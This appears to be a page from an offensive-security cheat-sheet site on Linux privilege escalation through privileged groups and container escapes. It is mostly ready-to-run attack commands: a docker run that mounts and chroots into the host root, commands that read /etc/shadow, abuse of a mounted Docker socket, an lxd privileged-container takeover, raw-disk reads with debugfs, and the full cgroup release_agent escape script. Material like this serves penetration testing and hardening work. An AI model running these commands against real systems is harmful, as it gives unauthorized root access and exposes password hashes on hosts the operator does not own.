OPSECTLAS you are here: Linux
Linux

Container Escapes & Privileged Groups

reference 23 commands

  1. Recon
  2. Enumerate
  3. Foothold
  4. PrivEsc
  5. Lateral
  6. Post-Ex
What it is

Membership in a privileged group is often a direct path to root with no exploit at all. The docker and lxd / lxc groups are root-equivalent by design; disk reads the raw device, shadow reads the hash file, adm reads the logs. And if you land inside a container, a misconfiguration (a privileged container, or the Docker socket mounted in) lets you break out onto the host. Always check id before you reach for an exploit.

First thing: what groups am I in?

id

Root-equivalent groups to look for: docker, lxd, lxc, disk, shadow, adm, sudo, wheel

docker group is root. Mount the whole host filesystem into a throwaway container.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Or read any root-only file directly:

docker run -v /:/mnt --rm -it alpine cat /mnt/etc/shadow

A Docker socket exposed inside a container is the same as docker-group access.

ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh

lxd / lxc group is root. Import a small image, attach the host disk, chroot in.

lxc image import ./alpine.tar.gz --alias privesc
lxc init privesc r00t -c security.privileged=true
lxc config device add r00t host-root disk source=/ path=/mnt/root recursive=true
lxc start r00t
lxc exec r00t /bin/sh

Inside the container: cd /mnt/root to reach the host filesystem, as root

disk group can read (or write) the raw filesystem device with no root.

df -h /
debugfs -R 'cat /etc/shadow' /dev/sda1

Inside a privileged container? Escape to the host via the cgroup release_agent.

Confirm you are privileged first:

cat /proc/self/status | grep CapEff
fdisk -l

CapEff 0000003fffffffff (all caps) or visible host disks means privileged.

The classic release_agent escape runs your script as root on the HOST:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "id > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
connected